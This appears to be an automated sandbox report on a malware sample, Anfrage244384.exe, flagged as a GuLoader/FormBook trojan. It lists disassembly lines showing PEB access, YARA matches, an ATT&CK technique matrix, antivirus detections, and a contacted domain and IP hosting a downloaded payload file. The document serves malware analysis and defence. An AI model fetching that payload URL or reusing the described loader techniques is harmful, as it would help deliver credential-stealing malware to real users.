      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB2C0 mov eax, dword ptr fs:[00000030h]4_2_34EBB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB2C0 mov eax, dword ptr fs:[00000030h]4_2_34EBB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB2C0 mov eax, dword ptr fs:[00000030h]4_2_34EBB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB2C0 mov eax, dword ptr fs:[00000030h]4_2_34EBB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB2C0 mov eax, dword ptr fs:[00000030h]4_2_34EBB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB2C0 mov eax, dword ptr fs:[00000030h]4_2_34EBB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB2C0 mov eax, dword ptr fs:[00000030h]4_2_34EBB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E992C5 mov eax, dword ptr fs:[00000030h]4_2_34E992C5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E992C5 mov eax, dword ptr fs:[00000030h]4_2_34E992C5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B2D3 mov eax, dword ptr fs:[00000030h]4_2_34E8B2D3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B2D3 mov eax, dword ptr fs:[00000030h]4_2_34E8B2D3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B2D3 mov eax, dword ptr fs:[00000030h]4_2_34E8B2D3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF2D0 mov eax, dword ptr fs:[00000030h]4_2_34EBF2D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF2D0 mov eax, dword ptr fs:[00000030h]4_2_34EBF2D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA52A0 mov eax, dword ptr fs:[00000030h]4_2_34EA52A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA52A0 mov eax, dword ptr fs:[00000030h]4_2_34EA52A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA52A0 mov eax, dword ptr fs:[00000030h]4_2_34EA52A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA52A0 mov eax, dword ptr fs:[00000030h]4_2_34EA52A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F192BC mov eax, dword ptr fs:[00000030h]4_2_34F192BC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F192BC mov eax, dword ptr fs:[00000030h]4_2_34F192BC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F192BC mov ecx, dword ptr fs:[00000030h]4_2_34F192BC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F192BC mov ecx, dword ptr fs:[00000030h]4_2_34F192BC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F272A0 mov eax, dword ptr fs:[00000030h]4_2_34F272A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F272A0 mov eax, dword ptr fs:[00000030h]4_2_34F272A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F592A6 mov eax, dword ptr fs:[00000030h]4_2_34F592A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F592A6 mov eax, dword ptr fs:[00000030h]4_2_34F592A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F592A6 mov eax, dword ptr fs:[00000030h]4_2_34F592A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F592A6 mov eax, dword ptr fs:[00000030h]4_2_34F592A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC329E mov eax, dword ptr fs:[00000030h]4_2_34EC329E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC329E mov eax, dword ptr fs:[00000030h]4_2_34EC329E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F65283 mov eax, dword ptr fs:[00000030h]4_2_34F65283
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED1270 mov eax, dword ptr fs:[00000030h]4_2_34ED1270
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED1270 mov eax, dword ptr fs:[00000030h]4_2_34ED1270
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5D26B mov eax, dword ptr fs:[00000030h]4_2_34F5D26B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5D26B mov eax, dword ptr fs:[00000030h]4_2_34F5D26B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB9274 mov eax, dword ptr fs:[00000030h]4_2_34EB9274
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC724D mov eax, dword ptr fs:[00000030h]4_2_34EC724D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4B256 mov eax, dword ptr fs:[00000030h]4_2_34F4B256
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4B256 mov eax, dword ptr fs:[00000030h]4_2_34F4B256
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89240 mov eax, dword ptr fs:[00000030h]4_2_34E89240
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89240 mov eax, dword ptr fs:[00000030h]4_2_34E89240
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F65227 mov eax, dword ptr fs:[00000030h]4_2_34F65227
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC7208 mov eax, dword ptr fs:[00000030h]4_2_34EC7208
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC7208 mov eax, dword ptr fs:[00000030h]4_2_34EC7208
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F653FC mov eax, dword ptr fs:[00000030h]4_2_34F653FC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F3E6 mov eax, dword ptr fs:[00000030h]4_2_34F4F3E6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4B3D0 mov ecx, dword ptr fs:[00000030h]4_2_34F4B3D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F313B9 mov eax, dword ptr fs:[00000030h]4_2_34F313B9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F313B9 mov eax, dword ptr fs:[00000030h]4_2_34F313B9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F313B9 mov eax, dword ptr fs:[00000030h]4_2_34F313B9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC33A0 mov eax, dword ptr fs:[00000030h]4_2_34EC33A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC33A0 mov eax, dword ptr fs:[00000030h]4_2_34EC33A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB33A5 mov eax, dword ptr fs:[00000030h]4_2_34EB33A5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6539D mov eax, dword ptr fs:[00000030h]4_2_34F6539D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EE739A mov eax, dword ptr fs:[00000030h]4_2_34EE739A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EE739A mov eax, dword ptr fs:[00000030h]4_2_34EE739A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F33370 mov eax, dword ptr fs:[00000030h]4_2_34F33370
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F367 mov eax, dword ptr fs:[00000030h]4_2_34F4F367
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E97370 mov eax, dword ptr fs:[00000030h]4_2_34E97370
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E97370 mov eax, dword ptr fs:[00000030h]4_2_34E97370
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E97370 mov eax, dword ptr fs:[00000030h]4_2_34E97370
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8D34C mov eax, dword ptr fs:[00000030h]4_2_34E8D34C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8D34C mov eax, dword ptr fs:[00000030h]4_2_34E8D34C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F65341 mov eax, dword ptr fs:[00000030h]4_2_34F65341
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89353 mov eax, dword ptr fs:[00000030h]4_2_34E89353
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89353 mov eax, dword ptr fs:[00000030h]4_2_34E89353
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF32A mov eax, dword ptr fs:[00000030h]4_2_34EBF32A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87330 mov eax, dword ptr fs:[00000030h]4_2_34E87330
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5132D mov eax, dword ptr fs:[00000030h]4_2_34F5132D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5132D mov eax, dword ptr fs:[00000030h]4_2_34F5132D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1930B mov eax, dword ptr fs:[00000030h]4_2_34F1930B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1930B mov eax, dword ptr fs:[00000030h]4_2_34F1930B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1930B mov eax, dword ptr fs:[00000030h]4_2_34F1930B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F31CF9 mov eax, dword ptr fs:[00000030h]4_2_34F31CF9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F31CF9 mov eax, dword ptr fs:[00000030h]4_2_34F31CF9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F31CF9 mov eax, dword ptr fs:[00000030h]4_2_34F31CF9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F13CDB mov eax, dword ptr fs:[00000030h]4_2_34F13CDB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F13CDB mov eax, dword ptr fs:[00000030h]4_2_34F13CDB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F13CDB mov eax, dword ptr fs:[00000030h]4_2_34F13CDB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC5CC0 mov eax, dword ptr fs:[00000030h]4_2_34EC5CC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC5CC0 mov eax, dword ptr fs:[00000030h]4_2_34EC5CC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3FCDF mov eax, dword ptr fs:[00000030h]4_2_34F3FCDF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3FCDF mov eax, dword ptr fs:[00000030h]4_2_34F3FCDF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3FCDF mov eax, dword ptr fs:[00000030h]4_2_34F3FCDF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1CC7 mov eax, dword ptr fs:[00000030h]4_2_34EA1CC7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1CC7 mov eax, dword ptr fs:[00000030h]4_2_34EA1CC7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87CD5 mov eax, dword ptr fs:[00000030h]4_2_34E87CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87CD5 mov eax, dword ptr fs:[00000030h]4_2_34E87CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87CD5 mov eax, dword ptr fs:[00000030h]4_2_34E87CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87CD5 mov eax, dword ptr fs:[00000030h]4_2_34E87CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87CD5 mov eax, dword ptr fs:[00000030h]4_2_34E87CD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8DCA0 mov eax, dword ptr fs:[00000030h]4_2_34E8DCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBFCA0 mov ecx, dword ptr fs:[00000030h]4_2_34EBFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBFCA0 mov eax, dword ptr fs:[00000030h]4_2_34EBFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBFCA0 mov eax, dword ptr fs:[00000030h]4_2_34EBFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBFCA0 mov eax, dword ptr fs:[00000030h]4_2_34EBFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBFCA0 mov eax, dword ptr fs:[00000030h]4_2_34EBFCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECBCA0 mov eax, dword ptr fs:[00000030h]4_2_34ECBCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECBCA0 mov eax, dword ptr fs:[00000030h]4_2_34ECBCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECBCA0 mov ecx, dword ptr fs:[00000030h]4_2_34ECBCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECBCA0 mov eax, dword ptr fs:[00000030h]4_2_34ECBCA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FCAB mov eax, dword ptr fs:[00000030h]4_2_34F4FCAB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93C84 mov eax, dword ptr fs:[00000030h]4_2_34E93C84
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93C84 mov eax, dword ptr fs:[00000030h]4_2_34E93C84
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93C84 mov eax, dword ptr fs:[00000030h]4_2_34E93C84
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93C84 mov eax, dword ptr fs:[00000030h]4_2_34E93C84
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1C60 mov eax, dword ptr fs:[00000030h]4_2_34EA1C60
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC1C7C mov eax, dword ptr fs:[00000030h]4_2_34EC1C7C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87C40 mov eax, dword ptr fs:[00000030h]4_2_34E87C40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87C40 mov ecx, dword ptr fs:[00000030h]4_2_34E87C40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87C40 mov eax, dword ptr fs:[00000030h]4_2_34E87C40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E87C40 mov eax, dword ptr fs:[00000030h]4_2_34E87C40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4FC4F mov eax, dword ptr fs:[00000030h]4_2_34F4FC4F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F19C32 mov eax, dword ptr fs:[00000030h]4_2_34F19C32
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F61C3C mov eax, dword ptr fs:[00000030h]4_2_34F61C3C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5DC27 mov eax, dword ptr fs:[00000030h]4_2_34F5DC27
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5DC27 mov eax, dword ptr fs:[00000030h]4_2_34F5DC27
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5DC27 mov eax, dword ptr fs:[00000030h]4_2_34F5DC27
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECBC3B mov esi, dword ptr fs:[00000030h]4_2_34ECBC3B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1BC10 mov eax, dword ptr fs:[00000030h]4_2_34F1BC10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1BC10 mov eax, dword ptr fs:[00000030h]4_2_34F1BC10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1BC10 mov ecx, dword ptr fs:[00000030h]4_2_34F1BC10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6BC01 mov eax, dword ptr fs:[00000030h]4_2_34F6BC01
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6BC01 mov eax, dword ptr fs:[00000030h]4_2_34F6BC01
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1DDC0 mov eax, dword ptr fs:[00000030h]4_2_34F1DDC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4DDC7 mov eax, dword ptr fs:[00000030h]4_2_34F4DDC7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5DDC6 mov eax, dword ptr fs:[00000030h]4_2_34F5DDC6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93DD0 mov eax, dword ptr fs:[00000030h]4_2_34E93DD0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93DD0 mov eax, dword ptr fs:[00000030h]4_2_34E93DD0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9FDA9 mov eax, dword ptr fs:[00000030h]4_2_34E9FDA9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1DDB1 mov eax, dword ptr fs:[00000030h]4_2_34F1DDB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC9DAF mov eax, dword ptr fs:[00000030h]4_2_34EC9DAF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F25DA0 mov eax, dword ptr fs:[00000030h]4_2_34F25DA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F25DA0 mov eax, dword ptr fs:[00000030h]4_2_34F25DA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F25DA0 mov eax, dword ptr fs:[00000030h]4_2_34F25DA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F25DA0 mov ecx, dword ptr fs:[00000030h]4_2_34F25DA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EADDB1 mov eax, dword ptr fs:[00000030h]4_2_34EADDB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EADDB1 mov eax, dword ptr fs:[00000030h]4_2_34EADDB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EADDB1 mov eax, dword ptr fs:[00000030h]4_2_34EADDB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8FD80 mov eax, dword ptr fs:[00000030h]4_2_34E8FD80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89D96 mov eax, dword ptr fs:[00000030h]4_2_34E89D96
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89D96 mov eax, dword ptr fs:[00000030h]4_2_34E89D96
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89D96 mov ecx, dword ptr fs:[00000030h]4_2_34E89D96
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F49D70 mov eax, dword ptr fs:[00000030h]4_2_34F49D70
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F49D70 mov eax, dword ptr fs:[00000030h]4_2_34F49D70
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3FD78 mov eax, dword ptr fs:[00000030h]4_2_34F3FD78
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3FD78 mov eax, dword ptr fs:[00000030h]4_2_34F3FD78
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3FD78 mov eax, dword ptr fs:[00000030h]4_2_34F3FD78
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3FD78 mov eax, dword ptr fs:[00000030h]4_2_34F3FD78
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess created: C:\Users\user\Desktop\Anfrage244384.exe "C:\Users\user\Desktop\Anfrage244384.exe"Jump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_00405DE5 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,0_2_00405DE5

      Stealing of Sensitive Information

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000004.00000002.2357676631.0000000000060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000004.00000002.2357676631.0000000000060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
      Native API      		1
      DLL Side-Loading      		1
      Access Token Manipulation      		11
      Masquerading      		OS Credential Dumping211
      Security Software Discovery      		Remote Services1
      Archive Collected Data      		11
      Encrypted Channel      		Exfiltration Over Other Network Medium1
      System Shutdown/Reboot
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts11
      Process Injection      		1
      Virtualization/Sandbox Evasion      		LSASS Memory1
      Virtualization/Sandbox Evasion      		Remote Desktop Protocol1
      Clipboard Data      		1
      Ingress Tool Transfer      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
      DLL Side-Loading      		1
      Access Token Manipulation      		Security Account Manager2
      File and Directory Discovery      		SMB/Windows Admin SharesData from Network Shared Drive2
      Non-Application Layer Protocol      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
      Process Injection      		NTDS23
      System Information Discovery      		Distributed Component Object ModelInput Capture13
      Application Layer Protocol      		Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
      Deobfuscate/Decode Files or Information      		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
      Obfuscated Files or Information      		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
      DLL Side-Loading      		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      Anfrage244384.exe32%ReversingLabsWin32.Trojan.Guloader
      Anfrage244384.exe100%AviraHEUR/AGEN.1361137

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Local\Temp\nsq755.tmp\System.dll0%ReversingLabs

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      https://familytherapycenter.rs/L0%Avira URL Cloudsafe
      https://familytherapycenter.rs/0%Avira URL Cloudsafe
      https://familytherapycenter.rs/rmANWge110.bin0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      familytherapycenter.rs
      		188.40.95.144
      		truefalse
        		high

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        https://familytherapycenter.rs/rmANWge110.binfalse
        • Avira URL Cloud: safe
        		unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtdAnfrage244384.exe, 00000004.00000001.1922306058.00000000005F2000.00000008.00000001.01000000.00000007.sdmpfalse
          		high
          http://www.ftp.ftp://ftp.gopher.Anfrage244384.exe, 00000004.00000001.1922306058.0000000000649000.00000008.00000001.01000000.00000007.sdmpfalse
            		high
            http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtdAnfrage244384.exe, 00000004.00000001.1922306058.00000000005F2000.00000008.00000001.01000000.00000007.sdmpfalse
              		high
              http://nsis.sf.net/NSIS_ErrorAnfrage244384.exefalse
                		high
                http://nsis.sf.net/NSIS_ErrorErrorAnfrage244384.exefalse
                  		high
                  https://familytherapycenter.rs/Anfrage244384.exe, 00000004.00000002.2361009105.0000000004C13000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://familytherapycenter.rs/LAnfrage244384.exe, 00000004.00000002.2361009105.0000000004C13000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214Anfrage244384.exe, 00000004.00000001.1922306058.0000000000649000.00000008.00000001.01000000.00000007.sdmpfalse
                    		high

                    World Map of Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public IPs

                    IPDomainCountryFlagASNASN NameMalicious
                    188.40.95.144
                    		familytherapycenter.rsGermany
